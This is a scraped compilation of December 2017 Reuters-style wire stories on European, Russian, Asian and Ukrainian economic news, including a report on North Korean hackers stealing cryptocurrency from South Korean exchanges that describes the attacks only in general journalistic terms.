Tourism in Slovenia rose strongly because of a general increase of tourism in Europe and a successful promotion of Slovenia as a safe country.

Officials say it also got something of a boost from Melania Trump having been born in the city of Sevnica in southeastern Slovenia before becoming a fashion model and moving to the United States.

"We received a lot of attention from (international) journalists because of the U.S. First Lady and we managed to present Slovenia as an attractive, green country," Maja Pak, head of the Slovenian Tourist Organisation, told the same news conference.

About 60 percent of Slovenia is covered by forests while the country has some resorts on the Adriatic sea as well as a number of Alpine and spa tourist resorts.

Pocivalsek also said Slovenia plans to gradually privatise all tourist accomodation infrastructure which should further improve tourism business. At present about 40 percent of hotels in Slovenia are in state hands.

"I want a well-considered privatisation ... which will be in favour of the state and the companies that are being sold," Pocivalsek said.

In the first 10 months of 2017 the number of foreign tourists jumped by almost 17 percent year-on-year, the statistics office said last month.

In the first nine months of the year, the latest data available, the number of tourists from the United States rose by 23.4 percent, it added.

According to the government's tourism strategy the revenues from foreign tourists should rise to at least 3.7 billion euros per year by the end of 2021. ($1 = 0.8472 euros)

(Reporting By Marja Novak Editing by Jeremy Gaunt)
By Jeremy Wagstaff and Josh Smith

SINGAPORE/SEOUL, Dec 19 (Reuters) - A series of recent cyber attacks has netted North Korean hackers millions of dollars in virtual currencies like bitcoin, with more attacks expected as international sanctions drive the country to seek new sources of cash, researchers say.

North Korea's government-backed hackers have been blamed for a rising number of cyber attacks, including the so-called WannaCry cyber attack that crippled hospitals, banks and other companies across the globe this year. Analysts say the explosive growth in the value of bitcoin makes it and other "cryptocurrencies" an attractive target for North Korea, which has become increasingly isolated under international sanctions imposed over its nuclear weapons and missile programmes.

Bitcoin was trading at over $19,104 per bitcoin at one point on Tuesday, up from less than $1,000 at the beginning of 2017, according to Coinmarketcap.com.

Researchers in South Korea, which hosts some of the world's busiest virtual currency exchanges and accounts for 15 to 25 percent of world bitcoin trading on any given day, say attacks this year on exchanges like Bithumb, Coinis, and Youbit have the digital fingerprints of hackers from North Korea.

The researchers' findings have not been independently verified.

North Korea has rejected accusations that it has been involved in hacking.

A spokesman for South Korea's Unification Ministry, which handles North Korean affairs, said on Monday the government was considering "countermeasures", including more sanctions, over the cyber attacks.

Representatives of Bithumb and Coinis declined to comment.

On Monday, a Youbit spokeswoman told Reuters the company had not been targeted by North Korean hackers, and on Tuesday the company announced it had suffered another cyber attack that cost it 17 percent of its assets, forcing the exchange to halt operations and file for bankruptcy.

The hackers behind the second attack were not identified, but one cyber security researcher, who said he was not authorised to speak about the matter as it was being investigated, said there were similarities between the Youbit hack reported on Tuesday and the earlier attack on the company, which has been linked to North Korea.

Another researcher, who worked with Youbit after the first hack in April, said the company has since experienced a consistent string of attacks that used malicious code previously used by North Korea.

INFECTED EMAIL

South Korea's intelligence service reported that some 7.6 billion won ($7 million) worth of cryptocurrencies were stolen in those previous attacks on multiple exchanges, according to South Korea's Chosun Ilbo newspaper. But that amount could now be worth about 90 billion Korean won ($82 million), Moonbeom Park, a researcher at the Korea Internet and Security Agency, told Reuters.

Malicious code used in attacks over the summer was "virtually identical" to previous attacks connected to North Korea, he said.

The attacks this year began by targeting the companies themselves, stealing customers' personal information, including names and email addresses, Park said.

Some of those customers were then targeted with so-called spearphishing emails - infected emails designed to look as if they were from South Korea's taxation agency, the Korean National Tax Service, he said.

Other researchers said the attackers had impersonated other official bodies.

The emails told the recipient that the agency was about to conduct a tax investigation of the user.

An attached document, however, was a Korean-language file infected with a "Trojan Horse" programme that would exploit a vulnerability in the Hanword Korean-language word processing software to allow the hackers to remotely control the user's computer, Park said.

From there, the attackers would access the user's bitcoin wallet either on the computer, or on the bitcoin exchange's server, he said. Other researchers said the exchanges were also attacked using fake email accounts.

Cristiana Brafman Kittner, principal analyst at the cybersecurity firm FireEye, said she could not confirm whether North Korea had actually stolen any virtual currencies, but said hackers linked to it had targeted "multiple exchanges" over the past six to nine months.

"We believe that some of the criminal activity we are observing originating from North Korea is a result of the regime looking for alternative sources of revenue," she said.

"North Korean cyber threat actors present an immediate risk to the financial services sector worldwide."

(Additional reporting by Joyce Lee, Hyonhee Shin, Haejin Choi, Dahee Kim, and Cynthia Kim; Writing by Josh Smith; Editing by Robert Birsel)
OSLO, Dec 19 (Reuters) - The recent drop in the value of Norway's crown currency is probably linked to worries over the economic fallout from weaker housing markets, domestically as well as in neighbouring Sweden, Norwegian central bank Governor Oeystein Olsen said on Tuesday.

"We don't have very good explanations for the crown's weakness other than what analysts are saying, which is that it seems to be tied to some uncertainty in the housing market in both Sweden and Norway," he told a business conference.

(Reporting by Camilla Knudsen, writing by Terje Solsvik, editing by Gwladys Fouche)
ISLAMABAD, Dec 19 (Reuters) - Pakistan is considering a proposal to replace the U.S. dollar with the Chinese yuan for bilateral trade between Pakistan and China, the English-language daily newspaper Dawn reported on Tuesday.

Bilateral trade between the countries totalled $13.8 billion in 2015 to 2016.

Interior Minister Ahsan Iqbal, who has been central to the planning and implementation of China-Pakistan economic ties, was reported discussing the proposal after unveiling a long-term economic development cooperation plan for the two countries.

Iqbal said Pakistan would continue to use the rupee domestically.

The long-term plan highlighted key cooperation areas between the neighbouring states including road and rail connections, information network infrastructure, energy, trade and industrial parks, agriculture, poverty alleviation and tourism.

The plan marks the first time the two countries have said how long they plan to work together on the project, known as the China Pakistan Economic Corridor (CPEC,)taking the economic partnership to at least 2030.

China has already committed to investing $57 billion in Pakistan to finance CPEC as part of Beijing's "Belt and Road" initiative to build a new Silk Road of land and maritime trade routes across more than 60 countries in Asia, Europe and Africa.

(Reporting by Saad Sayeed; Editing by Eric Meijer)
Following are news stories, press reports and events to watch that may affect Poland's financial markets on Tuesday. ALL TIMES GMT (Poland: GMT + 1 hour):

DATA

The statistics office is to release PPI and output data for November at 1300. ENERGA , ENEA Polish state-run utilities Energa and Enea are in talks with state-controlled banks PKO BP and Pekao on potential financing of their planned coal-fuelled power plant in Ostroleka, Rzeczpospolita daily said quoting unnamed sources.

Enea and Energa are looking for financial investors that would buy up to 50 percent in their joint-venture responsible for the Ostroleka project.

BUDGET

Poland's budget deficit will likely amount at 30 billion zlotys in 2017 compared to 59 billion zlotys seen in the 2017 budget bill, Rzeczpospolita daily quoted Deputy Finance Minister Teresa Czerwinska as saying.

****Reuters has not verified stories reported by Polish media and does not vouch for their accuracy.****

For other related news, double click on: Polish equities E.Europe equities Polish money Polish debt Eastern Europe All emerging markets Hot stocks Stock markets Market debt news Forex news For real-time index quotes, double click on: Warsaw WIG20 Budapest BUX Prague PX (Reporting by Warsaw Bureau)
By Tatiana Voronova and Darya Korsunskaya

MOSCOW, Dec 19 (Reuters) - Russian state development bank VEB, which is still grappling with the financial fallout from the 2014 Sochi Olympics, plans to transfer its Globex bank to the state after failing to find a buyer, three sources close to talks said.

VEB has been supported by the state since 2016 as it struggles to restructure soured loans made for the $50-billion Winter Olympic Games held in the Russian Black Sea resort of Sochi.

VEB, headed by former Sberbank executive Sergey Gorkov since early last year, had been trying to sell Globex and another business, Sviazbank, to improve its finances. But those attempts failed.

Two sources close to VEB and Globex, as well as a federal government source, told Reuters the bank was preparing instead to transfer Globex to the state federal property agency.

All three asked not to be named because of the sensitivity of the matter. One said the transfer process could start this year.

VEB and the state federal property agency did not reply to Reuters' requests for comment.

Globex had 116.6 billion roubles ($2 billion) of assets at the end of the third quarter.

Globex, Russia's No. 54 bank by assets according to Interfax data, and Sviazbank were moved to VEB from private owners under a state-agreed bailout after the 2008 global financial crisis.

The government spent 212 billion roubles on Globex and Sviazbank in that bailout.

VEB was the main lender to the Sochi games and has also been involved in other politically-important projects, including in eastern Ukraine.

Some of the Sochi loans had to be restructured as returns on investment missed original forecasts, while the eastern Ukraine has been ravaged by a separatist conflict.

VEB's financial rehabilitation plan, agreed late in 2015, included the sale of Globex and Sviazbank to reduce the burden on the bank.

The transfer decision comes as Russia gets to grips with wider problems in its financial system. The central bank has bailed out three banks in recent months although there is no connection to VEB's move.

In September, the finance ministry said it would cut support to VEB by a third to 100 billion roubles a year for the next three years. ($1 = 58.5980 roubles)

(Reporting by Tatiana Voronova and Darya Korsunskaya; Additional reporting by Katya Golubkova; Editing by John O'Donnell and Mark Potter)
MOSCOW, Dec 19 (Reuters) - Russian industrial output shrank more than expected in November, hurt by Moscow's agreement with other major oil producers to limit global crude output, the economy ministry said on Tuesday.

Major oil exporter Russia joined OPEC and other producers in an agreement to cut oil output from January by a combined 1.8 million barrels per day (bpd) to end a supply glut. For Russia that will mean a 300,000 bpd reduction from its October 2016 levels.

The country's industrial output slumped 3.6 percent year-on-year in November, the Federal Statistics Service said last week. The slump was "much worse than the expectations of both the market and the Economy Ministry of Russia," the ministry said in a report.

Analysts polled by Reuters had on average expected output to edge down 0.2 percent after holding steady in October.

"With the generally positive impact of the OPEC+ deal on the balance of payments, Russia's responsible fulfilling of the commitment together with unusually warm weather in November led to an output reduction in the mining sector," the ministry said.

Output in the electrical energy sector was also pressured by the warm weather, the ministry said.

Last month, Economy Minister Maxim Oreshkin was the first senior official to discuss the negative impact of the output deal, saying it had hurt economic growth in October. (Reporting by Andrey Ostroukh; Editing by Hugh Lawson)
SINGAPORE, Dec 19 (Reuters) - Singapore's central bank on Tuesday issued a warning against investment in cryptocurrencies, saying it considers the recent surge in their prices to be driven by speculation and that the risk of a sharp fall in prices is high. "MAS is concerned that members of the public may be attracted to invest in cryptocurrencies, such as Bitcoin, due to the recent escalation in their prices," the Monetary Authority of Singapore (MAS) said in a statement.

(Reporting by Masayuki Kitano; Editing by Richard Borsuk)

Disclaimer: The views expressed in this article are those of the author and may not reflect those of Kitco Metals Inc. The author has made every effort to ensure accuracy of information provided; however, neither Kitco Metals Inc. nor the author can guarantee such accuracy. This article is strictly for informational purposes only. It is not a solicitation to make any exchange in commodities, securities or other financial instruments. Kitco Metals Inc. and the author of this article do not accept culpability for losses and/ or damages arising from the use of this publication.
* Graphic: sterling and gilt yields * Graphic: World FX rates in 2017 * Graphic: Trade-weighted sterling since Brexit vote LONDON, Dec 19 (Reuters) - Sterling slid to a two-week low against the euro on Tuesday as investors focused on the scale of the task still ahead for Britain to clinch a deal on leaving the European Union, despite progress in the talks made last week.

With thin trading and little economic data to shift interest elsewhere, focus on the next round of Brexit negotiations left the pound unable to hold on to gains reached on Monday, when a survey showed British factories matching a three-decade high for orders this month.

The falls came even after the breakthrough in divorce talks between Britain and the European Union at the end of last week that will mean the two sides can move on to discussions on trade and a transition deal.

Sterling slipped 0.3 percent to $1.3335 . Against the euro, the pound weakened 0.6 percent to 88.55 pence and earlier hit a low of 88.68 pence, the weakest in a fortnight.

"The pressure we have seen against sterling today is largely reflecting remaining uncertainties around Brexit negotiations," said Alexandra Russell-Oliver, a strategist at Caxton FX.

Sterling showed little reaction to data released earlier in the day showing British employers plan to hire more workers and raise pay more quickly in 2018, but they also fear that Brexit will make the country a less attractive place to do business. Some investors reckon sterling is likely to strengthen in the coming months, reversing this month's losses.

"The weakness of the pound, which is currently the worst performing G10 currency versus the U.S. dollar on a month-to-date basis, is likely to be an anomaly," said MUFG currency strategist Lee Hardman, in London.

"A quick (Brexit) transition deal still appears the most likely outcome in the first quarter of 2018, a scenario which has yet to be factored into the price of the pound."

But there are still worries about political uncertainty.

British Prime Minister Theresa May told parliament her plan on Monday for a Brexit transition period with broadly the same access to EU markets was met with scepticism from pro-Brexit lawmakers fearful of a watered-down EU exit. Last week May's fragility was exposed by the rebellion of 11 largely pro-European Conservative lawmakers in a parliamentary vote on Brexit legislation that led to an embarrassing defeat.

(Reporting by Tommy Wilkes; Editing by Matthew Mpoke Bigg)
BUDAPEST, Dec 19 (Reuters) - The Hungarian Government Debt Management Agency (AKK) rejected all bids at an auction of three-month Treasury bills worth 30 billion forints ($113.06 million) on Tuesday. Last week the AKK also scrapped an auction of seven-week bills. Series: D180328 Issue status: Auction data: AUCTION DATE 12/12/2017 12/12/2017 TOTAL BIDS (bln HUF) 49.90 68.30 ALLOTTED (bln HUF) 0.00 30.00 AVERAGE YIELD (pct) N/A 0.03 ($1 = 265.3500 forints)

(Reporting by Sandor Peto)

Disclaimer: The views expressed in this article are those of the author and may not reflect those of Kitco Metals Inc. The author has made every effort to ensure accuracy of information provided; however, neither Kitco Metals Inc. nor the author can guarantee such accuracy. This article is strictly for informational purposes only. It is not a solicitation to make any exchange in commodities, securities or other financial instruments. Kitco Metals Inc. and the author of this article do not accept culpability for losses and/ or damages arising from the use of this publication.
SAN FRANCISCO, Dec 19 (Reuters) - The U.S. tax overhaul that looks set to get a final nod from Congress on Tuesday will give the economy a bit of a lift next year, but will have little lasting impact, according to a brief analysis from the Federal Reserve Bank of San Francisco.

"If Congress passes the tax reform legislation by the end of this year or early next year, we expect a modest boost to GDP growth in 2018 and 2019," senior research advisor Zheng Liu wrote in the regional Fed bank's latest edition of FedViews, prepared ahead of the Fed's policy-setting meeting last week but not made public until this week. "We expect real GDP to grow at an average annual rate of about 2.25 percent through 2018, before slowing to 1.75 percent in 2019."

Forecasts for both years are lower than that of most Fed policymakers, according to projections published by the central bank last week that show a median expectation of 2.5 percent growth for next year and 2.1 percent in 2019. But they are higher than the regional Fed bank's own forecast just three months ago, although it is not clear how much of the increase comes from the tax plan and how much reflects stronger economic data in recent months. The bank's September FedViews pointed to economic growth of between 1.5 percent and 1.75 percent for both 2018 and 2019.

The San Francisco FedViews updated forecast reflects expected rate hikes to come over the next couple of years, "as well as the longer term effects of population aging and slower productivity growth," Zheng wrote.

The Republican-controlled Congress votes Tuesday on the biggest overhaul of the U.S. tax system in more than 30 years, potentially sending the bill to President Donald Trump's signing desk by Wednesday. (Reporting by Ann Saphir Editing by Chizu Nomiyama)
KIEV, Dec 19 (Reuters) - Ukraine's budget for 2018 is in line its fiscal commitments under a $17.5 billion loan programme from the International Monetary Fund, Deputy Finance Minister Serhiy Marchenko said at a briefing on Tuesday. "We are in the IMF programme therefore all the budgetary parameters are covered - primarily the budget deficit," Marchenko said. "The budget is balanced and realistic."

(Reporting by Natalia Zinets; Writing by Alessandra Prentice; editing by Matthias Williams)

Disclaimer: The views expressed in this article are those of the author and may not reflect those of Kitco Metals Inc. The author has made every effort to ensure accuracy of information provided; however, neither Kitco Metals Inc. nor the author can guarantee such accuracy. This article is strictly for informational purposes only. It is not a solicitation to make any exchange in commodities, securities or other financial instruments. Kitco Metals Inc. and the author of this article do not accept culpability for losses and/ or damages arising from the use of this publication.
KIEV, Dec 19 (Reuters) - Ukrainian Finance Minister Oleksandr Danylyuk on Tuesday said it was realistic that Ukraine would meet the conditions for further funding under a $17.5 billion aid-for-reforms programme from the International Monetary Fund.

"There are a few key conditions that have not been fulfilled but it is absolutely realistic that they will be fulfilled next year," he told reporters.

Next year, "the central bank expects two tranches of (IMF) loans, I hope that we will receive more," he said.

(Reporting by Natalia Zinets; Writing by Alessandra Prentice; editing by Matthias Williams and Robin Pomeroy)
(Adds quotes, details, background)

ROME, Dec 19 (Reuters) - Bank of Italy Governor Ignazio Visco on Tuesday defended his record as a custodian of local lenders, telling parliament the collapse of numerous banks was not due to careless supervision but to a deep recession.

Addressing a special parliamentary commission, Visco denied the central bank had acted late in preventing scandals at a string of lenders or had underestimated the effect of the economic downturn on banks' balance sheets.

"The marked deterioration of banks' assets and the crises of recent years were above all the inevitable consequence of the deep, double-dip recession that hit the Italian economy," he said.

The commission, which was set up in September to look into the collapse of 10 Italian banks in the past two years, has become a focal point of political campaigning ahead of a national election expected to be held in March.

The government reappointed Visco in October despite opposition from the ruling Democratic Party (PD) and its leader, former prime minister Matteo Renzi. His testimony has been eagerly awaited by politicians of all stripes.

Opposition parties, led by the anti-establishment 5-Star Movement and the right-wing Northern League, have attacked the PD for the banking scandals in which thousands of Italians lost their savings, while Renzi says the Bank of Italy should shoulder the blame.

In his introductory speech, Visco said the Bank of Italy had warned of the effects of the recession on the banking system as early as 2012.

In a spirited defence of the institution he has led since 2011, he argued that the central bank has limited scope to prevent bank scandals because its inspectors can only intervene when improper conduct at banks is already clear and established.

"In more than 120 years of our history ... the honesty and integrity of the Bank of Italy's staff has never been found lacking," he said.

Economy Minister Pier Carlo Padoan said in his own testimony to the commission on Monday that in some cases in recent years the Bank of Italy's supervision "could have been done better". (Reporting by Giuseppe Fonte, writing by Gavin Jones; editing by Crispian Balmer)
(Adds votes, PM comment)

PRAGUE, Dec 19 (Reuters) - The Czech parliament gave its final approval on Tuesday to the 2018 central state budget, which envisages a 50 billion-crown deficit ($2.30 billion), sending it to the president to sign into law.

The budget, whose planned deficit at a time of rapid economic growth has drawn criticism, will be implemented by the new government that took power following an October election.

Prime Minister Andrej Babis, whose ANO party won the October election, has so far been unable to secure coalition partners or support from other parties for his minority government.

Lawmakers backed the bill with 140 votes in the 200-seat lower chamber of parliament; only the second-strongest faction, the Civic Democrats, and conservative TOP09 voted against. The upper chamber does not vote on a budget.

The draft, prepared by the former centre-left government, foresees central state budget revenue of 1.31 trillion crowns next year and net inflows of EU funding of 29.4 billion crowns.

While the central budget as planned will produce a deficit, the draft anticipates overall public-sector finances - which include regional budgets, the national healthcare system and other items - will provide a surplus of 1.3 percent of gross domestic product, up from 1.1 percent seen in 2017.

"We will be glad if you show us during the next year, where the money is wasted, and we will try to fix it," Babis told lawmakers before the vote.

Babis, a billionaire businessman who ran on an anti-establishment ticket and promises to make the state more effective, took office with his government last week . ($1 = 21.7790 Czech crowns)

(Reporting by Robert Muller; Editing by Gareth Jones, Larry King)
(Adds deal details, context, background)

FRANKFURT/NEW DELHI, Dec 19 (Reuters) - Germany's Delivery Hero , an online food ordering and delivery marketplace, is selling its foodpanda India business to Ola in return for shares in the Indian ride-hailing firm, the companies said on Tuesday.

Under the agreement, Ola, owned by ANI Technologies, will also commit to investing $200 million in foodpanda's India business.

The deal marks Ola's return to the food delivery business, which it exited in 2016, according to local media reports, and will give the company a platform to compete with UberEATS, a similar service launched in May by global ride-hailing rival Uber Technologies.

UberEATS delivers in about half a dozen Indian cities while foodpanda is present in more than 100 cities. Other online food delivery services include Sequoia Capital-backed Zomato and Swiggy which is backed by Naspers.

"The partnership with Ola will allow us to further consolidate markets where it strategically makes sense to collaborate with leading local players," Delivery Hero Chief Executive Niklas Ostberg said.

Delivery Hero, which floated on the stock exchange in Germany in June, had acquired food delivery firm foodpanda and its Indian subsidiary in December 2016.

Foodpanda India reported a 64 percent increase in revenue at 621.6 million rupees ($9.7 million) for the fiscal year ended March 31 and losses narrowed to 448.1 million rupees from 1.43 billion rupees in the year-ago period, according to local media reports.

The online food delivery market in India is expected to grow more than six-fold to $750 million this year from about $120 million in 2015, according to a report by consultant RedSeer. ($1 = 64.0450 Indian rupees)

(Reporting by Maria Sheahan in Frankfurt and Aditi Shah in New Delhi; Editing by Louise Heavens and Gopakumar Warrier)
* C.bank advises banks against selling sub-debt to households

* C.bank says sub-debt could be replaced with preferred shares

* Issue of sub-debt write-offs arose as c.bank rescues banks

(Adds details, quotes, background)

By Elena Fabrichnaya

MOSCOW, Dec 19 (Reuters) - Russian banks should consider only selling their subordinated bonds to professional investors and not to retail buyers, a senior Russian central banker said on Tuesday.

The issue of subordinated debt -- unsecured and last in the queue to be repaid in the event of bankruptcy -- became acute earlier this year when the Russian central bank launched a series of bailouts of troubled banks.

The central bank has rescued three private lenders - Otkritie, B&N and Promsvyazbank - over the last couple of months and, under the bailout procedures, some of the subordinated debt has been written off. "We are not much in favour of selling subordinated bonds to retail investors... Often it is impossible for the general public to assess risks of the sub-debt," Central Bank First Deputy Governor Sergei Shvetsov said.

He also told a conference on Tuesday that the central bank was telling banks to gradually switch to preferred shares with non-voting rights from subordinated debt. Preferred shares can also be used to boost banks' capital.

Dmitry Ananyev, who co-owns Promsvyazbank along with his brother, said in his last interview with Reuters before the bailout that the market of the subordinated debt had in fact died, limiting a number of tools that banks can use to beef up their capital.

"Sub-debt holders become quasi-owners, all the risks are transferred to them. This instrument became unpopular... Banking sector papers - even the senior debt - becomes unpopular," he said in November. (Reporting by Elena Fabrichnaya; Writing by Andrey Ostroukh and Katya Golubkova; editing by Jeremy Gaunt)
(Adds more detail)

LONDON, Dec 19 (Reuters) - Shareholders criticised the London Stock Exchange's board on Tuesday for its handling of a row with activist shareholder TCI over the future of the company's senior management.

British hedge fund TCI Fund Management, a 5 percent shareholder in LSE, has been pushing to oust Chairman Donald Brydon over his role in deciding on the succession to Xavier Rolet, the group's former chief executive who resigned last month, a year earlier than planned.

TCI, founded by Christopher Hohn, had accused the board of forcing Rolet out and demanded a shareholder meeting to remove Brydon. LSE shareholders voted at the extraordinary general meeting on TCI's resolution. It called for Brydon to step down over his handling of the departure Rolet.

"This is a very sorry affair, which has brought considerable opprobrium on the company," Aubrey Franklin, a small shareholder of over 20 years who backed the resolution, told the meeting.

The TCI resolution is expected to be defeated after a string of institutional shareholders such as BlackRock and Aviva said they would vote against it. The result will be published later on Tuesday.

"It seems to me the old boys network has got together and the establishment is winning out," Franklin said.

Paul Heiden, a senior LSE non-executive director, said the board unanimously backed Brydon to remain in his post until the annual meeting in 2019.

The sudden loss of the chairman would be destabilising for the exchange, Heiden said at the meeting.

David Warren, interim chief executive, told the meeting the exchange was extremely well positioned to continue to grow under the strategy put in place by Rolet.

"The group continues to perform well across all main businesses," Warren said.

The board was asked why Rolet quit early, rather than stay until the end of 2018 as originally planned to give time for the new CEO to be appointed.

Heiden said Rolet was asked to step down early after relations between himself and senior management "became fairly strained."

TCI founder Hohn did not attend the shareholder meeting.

<^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ LSE share and EPS performance under Chairman Brydon ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^> (Reporting by Maiya Keidan and Huw Jones. Editing by Jane Merriman)
(Adds details, background)

KIEV, Dec 19 (Reuters) - Ukraine should be able to meet International Monetary Fund conditions for fresh funding under a $17.5 billion programme, Finance Minister Oleksandr Danylyuk on Tuesday.

The IMF's representative in Ukraine told Reuters last week it saw "considerable risks" on the revenue and expenditure side of Ukraine's 2018 budget, though it agreed with the government's deficit target of around 2.5 percent of GDP. A lack of clarity on the sustainability of recent pension laws, disagreement over gas pricing and a lack of progress on anti-corruption efforts have delayed the disbursement of billions of dollars of new loans under the four-year programme, which began in 2015.

"There are a few key conditions that have not been fulfilled but it is absolutely realistic that they will be fulfilled next year," Danylyuk told reporters.

Next year, "the central bank expects two tranches of (IMF) loans, I hope that we will receive more," he said.

Speaking at an end-of-year press conference, Danylyuk said he didn't think it was necessary yet to start talks with the IMF on a new programme, which the central bank called for on Monday.

He also said the hryvnia rate projection in the 2018 budget was realistic.

(Reporting by Natalia Zinets; Writing by Alessandra Prentice; Editing by Matthias Williams and Matthew Mpoke Bigg)
* Banking commission has become focus of election campaign

* Bank of Italy chief says recession main cause of bank woes

* Says didn't answer ex-PM Renzi when he asked about banks

(Adds Visco comments, background)

By Giuseppe Fonte

ROME, Dec 19 (Reuters) - Bank of Italy Governor Ignazio Visco on Tuesday defended his record as a custodian of local banks, telling parliament the collapse of numerous lenders was not due to careless supervision but to a deep recession and unhelpful European Union rules.

Addressing a parliamentary commission, Visco denied the central bank had acted late in preventing scandals at a string of lenders or underestimated the effect of the economic downturn on banks' balance sheets.

"The marked deterioration of banks' assets and the crises of recent years were above all the inevitable consequence of the deep, double-dip recession that hit the economy," he said.

Visco also took aim at EU "bail-in" rules forcing investors to takes losses at failing banks, which Italy argued in vain should be introduced more gradually. Italy's position was ignored by "many countries which previously intervened massively with public money to support their banks," he said.

The commission, which was set up in September to look into the collapse of 10 Italian banks in the past two years, has become a focal point of political campaigning ahead of a national election expected to be held in March. So far, it has hurt the ruling Democratic Party (PD) and its leader Matteo Renzi, showing one of his closest allies was active in trying to save a local bank where her father worked, allowing the opposition to allege a conflict of interest.

The PD is sliding in opinion polls and lags a centre-right coalition and the anti-establishment 5-Star Movement.

The government reappointed Visco in October despite opposition from Renzi and the PD. His testimony was eagerly awaited by politicians of all stripes. Opposition parties, led by 5-Star and the right-wing Northern League, have attacked the PD for the banking scandals in which thousands of Italians lost their savings. Renzi says the blame lies with the Bank of Italy. In a spirited defence of the institution he has led since 2011, Visco argued that the central bank has limited scope to prevent bank scandals because its inspectors can only intervene when improper conduct at banks is already clear and established.

"In more than 120 years of our history ... the honesty and integrity of the Bank of Italy's staff has never been found lacking," he said.

Visco pointed the finger at "widespread failings in banks' management of their bad loans," and said the Bank of Italy had repeatedly told lenders to produce more timely and comprehensive information on their situation as they ran into trouble.

RENZI SNUB

He said he had declined to answer Renzi when the former prime minister tried to speak to him in 2014 about a possible interest by Banca Popolare di Vicenza in buying Banca Etruria, two local lenders which eventually collapsed.

"He asked me why Vicenza wanted to buy Etruria and talked about the (impact on) the local gold trade. I didn't answer him, I thought he was joking," Visco said, adding that he only spoke to Economy Minister Pier Carlo Padoan about banking supervision.

Visco also said Renzi's close ally, cabinet undersecretary Maria Elena Boschi, had told a Bank of Italy board member, Fabio Panetta, that she was worried about the effects of Banca Etruria's problems on the local economy.

The opposition accuses Boschi of having a conflict of interest when she took steps to try to save Banca Etruria, based in her home town of Arezzo and where her father was a board member.

It has already emerged that Boschi, who was then minister for constitutional reforms and had no economic brief, held several meetings with bankers and regulators to try to save the lender. She denies wrongdoing.

Visco said she had not asked Panetta for any specific intervention to help Banca Etruria, or exerted any pressure.

($1 = 0.8473 euros)

(Reporting by Giuseppe Fonte, writing by Gavin Jones; editing by Crispian Balmer and John Stonestreet)

Rom, 19. Dez (Reuters) - Italiens Notenbank-Chef Ignazio Visco hat sich gegen Vorwurfe gewehrt, er habe als oberster Bankenwachter des Landes versagt. Der Zusammenbruch zahlreicher heimischer Geldhauser sei keine Folge einer zu laschen Kontrolle gewesen, sagte Visco am Dienstag vor einem Parlamentsausschuss. Vielmehr sei dies eine unvermeidbare Konsequenz der tiefen Rezession gewesen, die die Wirtschaft getroffen habe. Ex-Ministerprasident Matteo Renzi hatte dem Notenbank-Chef vorgeworfen, die Banca d'Italia zu einem "Schwachpunkt im System" gemacht zu haben. Trotz solcher Vorwurfe hatte Visco Ende Oktober eine zweite Amtszeit an der Spitze der Notenbank erhalten.

Im September war ein Ausschuss eingerichtet worden, der den Kollaps von zehn italienischen Banken in den vergangenen zwei Jahren untersuchen soll. Politiker nutzten ihre Auftritte vor dem Gremium auch als Buhne fur ihre Kampagnen im Vorfeld der inzwischen fur Marz 2018 erwarteten Parlamentswahlen.

Visco verwies bei seinem Auftritt auch auf die neuen Abwicklungsregeln in Europa, nach denen bei einer Bankenpleite nun zuerst Investoren zur Kasse gebeten werden und nicht mehr der Steuerzahler. Italien hatte damals dafur argumentiert, die neuen Vorschriften langsamer einzufuhren - allerdings vergeblich. Italiens Position sei "von vielen Landern ignoriert worden, die zuvor massiv mit offentlichen Geldern eingegriffen haben, um ihre Banken zu stutzen", sagte Visco.

Italiens Oppositionsparteien hatten die regierende Demokratische Partei (PD) wegen diverser Bankenskandale kritisiert, in denen Tausende Italiener ihre Ersparnisse verloren hatten. Renzi hatte den Ball aber weitergereicht und die Bank von Italien dafur verantwortlich gemacht. Visco leitet die Notenbank seit 2011.

(Reporter: Giuseppe Fonte; bearbeitet von Frank Siebelt; redigiert von Georg Merziger; Bei Ruckfragen wenden Sie sich bitte an die Redaktionsleitung unter den Telefonnummern 069-7565 1236 oder 030-2888 5168)
(Writes through, adds quotes, background)

By Natalia Zinets

KIEV, Dec 19 (Reuters) - Ukraine should be able to meet International Monetary Fund conditions next year to unlock long-delayed funding under a $17.5 billion programme, Finance Minister Oleksandr Danylyuk said on Tuesday.

Loans have been held up by backtracking by the government on reform commitments, while warnings from the IMF about next year's budget last week suggested there could be a further roadblock to the disbursement of the $2 billion tranche.

Speaking to reporters at an end-of-year press conference, Danylyuk conceded that there were a few key conditions that still needed to be met.

"But it is absolutely realistic that they will be fulfilled next year," he said.

Next year, "the central bank expects two tranches of (IMF) loans, I hope that we will receive more," he said.

A lack of clarity on the sustainability of recent pension laws, disagreement over gas pricing and a lack of progress on anti-corruption efforts are the main hurdles to overcome.

Moreover, the IMF's representative in Ukraine told Reuters last week it saw "considerable risks" on the revenue and expenditure side of Ukraine's 2018 budget, though it agreed with the government's deficit target of around 2.5 percent of GDP. Danylyuk said the finance ministry was willing to address the Fund's concerns.

"Regarding the budget risks, they (the IMF) had issues with macroeconomic forecasts and there still remain a few issues on pension reform. In the near future we will take these issues off the table -- there are answers to all these questions," he said.

On Monday, the central bank warned Ukraine risked destabilising its economy next year if it ceased cooperating with the IMF. With presidential and parliamentary elections due in 2019, the government has shelved potentially unpopular policy steps such as the IMF-backed gas price hike and lifting a moratorium on the sale of farmland.

The central bank has also called for talks with the IMF to start on a new programme, but Danylyuk said this would be premature.

"Now is not the time. As a minister, my position is that we need to successfully complete this programme," he said.

(Writing by Alessandra Prentice; Editing by Matthias Williams and Catherine Evans)
Ukrainian President Petro Poroshenko shares the concern of agrarians about the decision of the Verkhovna Rada to cancel VAT refunds for exports of soybeans, rapeseeds and sunflower.

"The head of state shares the concern of agrarians with the ambiguous provisions adopted by the Verkhovna Rada of Ukraine regarding the specifics of VAT on exports of agricultural products," first deputy head of the presidential administration Vitaliy Kovalchuk said.

The president drew attention of the deputies to the inconsistency of such decisions with the commitments Ukraine undertook upon accession to the World Trade Organization and when signing the Association Agreement with the European Union.

Poroshenko asked the Verkhovna Rada to eliminate inconsistencies, in particular regarding the timing of application of taxation to operations with agricultural products.

Kovalchuk hopes that the parliament this week will find a compromise solution to settle this issue, which will meet the economic interests of the state, agricultural producers and Ukraine's trade obligations.
Russia plans to begin the construction of the Nord Stream-2 gas pipeline in the near future, Head of Naftogaz Ukrainy Andriy Kobolev has said at a round table in Kyiv.

